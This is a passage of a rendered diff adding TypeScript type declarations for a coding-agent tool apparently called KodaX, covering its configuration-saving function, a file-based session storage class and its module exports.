repoIntelligenceTrace?: boolean;
|
|
516
|
+
streamIdleTimeoutMs?: number;
|
|
517
|
+
};
|
|
518
|
+
declare function prepareRuntimeConfig(): ReturnType<typeof loadConfig>;
|
|
519
|
+
declare function saveConfig(config: {
|
|
520
|
+
provider?: string;
|
|
521
|
+
model?: string;
|
|
522
|
+
thinking?: boolean;
|
|
523
|
+
reasoningMode?: KodaXReasoningMode;
|
|
524
|
+
agentMode?: KodaXAgentMode;
|
|
525
|
+
permissionMode?: string;
|
|
526
|
+
locale?: string;
|
|
527
|
+
providerReasoningOverrides?: Record<string, KodaXReasoningOverride>;
|
|
528
|
+
providerModels?: Record<string, string[]>;
|
|
529
|
+
customProviders?: KodaXCustomProviderConfig[];
|
|
530
|
+
extensions?: string[];
|
|
531
|
+
mcpServers?: KodaXMcpServersConfig;
|
|
532
|
+
repoIntelligenceMode?: 'auto' | 'off' | 'oss' | 'premium-shared' | 'premium-native';
|
|
533
|
+
repointelEndpoint?: string;
|
|
534
|
+
repointelBin?: string;
|
|
535
|
+
repoIntelligenceTrace?: boolean;
|
|
536
|
+
}): void;
|
|
537
|
+
declare function getGitRoot(): Promise<string | null>;
|
|
538
|
+
declare function rateLimitedCall<T>(fn: () => Promise<T>): Promise<T>;
|
|
539
|
+
|
|
540
|
+
/**
|
|
541
|
+
* KodaX session storage - filesystem implementation.
|
|
542
|
+
*/
|
|
543
|
+
|
|
544
|
+
declare class FileSessionStorage implements KodaXSessionStorage {
|
|
545
|
+
private writeQueues;
|
|
546
|
+
private serializedWrite;
|
|
547
|
+
private appendState;
|
|
548
|
+
/** Update watermarks. Only overwrites fields the caller actually provided. */
|
|
549
|
+
private syncAppendState;
|
|
550
|
+
private getSessionFilePath;
|
|
551
|
+
private getArchiveFilePath;
|
|
552
|
+
private readSession;
|
|
553
|
+
private writeSessionInternal;
|
|
554
|
+
private mergeAndWriteInternal;
|
|
555
|
+
appendSessionDelta(id: string, data: SessionData): Promise<void>;
|
|
556
|
+
private shouldRunMaintenance;
|
|
557
|
+
private runMaintenance;
|
|
558
|
+
save(id: string, data: SessionData): Promise<void>;
|
|
559
|
+
load(id: string): Promise<SessionData | null>;
|
|
560
|
+
getLineage(id: string): Promise<KodaXSessionLineage | null>;
|
|
561
|
+
setActiveEntry(id: string, selector: string, options?: {
|
|
562
|
+
summarizeCurrentBranch?: boolean;
|
|
563
|
+
}): Promise<SessionData | null>;
|
|
564
|
+
rewind(id: string, selector?: string): Promise<SessionData | null>;
|
|
565
|
+
setLabel(id: string, selector: string, label?: string): Promise<SessionData | null>;
|
|
566
|
+
fork(id: string, selector?: string, options?: {
|
|
567
|
+
sessionId?: string;
|
|
568
|
+
title?: string;
|
|
569
|
+
}): Promise<{
|
|
570
|
+
sessionId: string;
|
|
571
|
+
data: SessionData;
|
|
572
|
+
} | null>;
|
|
573
|
+
list(gitRoot?: string): Promise<Array<{
|
|
574
|
+
id: string;
|
|
575
|
+
title: string;
|
|
576
|
+
msgCount: number;
|
|
577
|
+
runtimeInfo?: KodaXSessionRuntimeInfo;
|
|
578
|
+
}>>;
|
|
579
|
+
delete(id: string): Promise<void>;
|
|
580
|
+
deleteAll(gitRoot?: string): Promise<void>;
|
|
581
|
+
}
|
|
582
|
+
|
|
583
|
+
export { permissionModeDisplayName as A, BUILTIN_COMMANDS as B, prepareRuntimeConfig as D, processSpecialSyntax as E, FileSessionStorage as F, rateLimitedCall as G, registerConfiguredCustomProviders as H, runInkInteractiveMode as J, KODAX_CONFIG_FILE as K, runInteractiveMode as L, MemorySessionStorage as M, saveConfig as N, touchContext as O, PERMISSION_MODES as P, KODAX_DIR as f, KODAX_SESSIONS_DIR as g, KODAX_VERSION as h, PREVIEW_MAX_LENGTH as i, computeConfirmTools as m, createInteractiveContext as n, createMemorySessionStorage as o, executeCommand as p, getGitRoot as q, getProviderList as r, getProviderModel as s, getVersion as t, hydrateProcessEnvFromShell as u, isPermissionMode as v, isProviderConfigured as w, loadConfig as x, normalizePermissionMode as y, parseCommand as z };
|
|
584
|
+
export type { Command as C, InkREPLOptions as I, RepLOptions as R, SessionData as S, CommandCallbacks as a, ConfirmResult as b, CurrentConfig as c, InteractiveContext as d, InteractiveMode as e, PermissionContext as j, PermissionMode as k, SessionStorage$1 as l };
|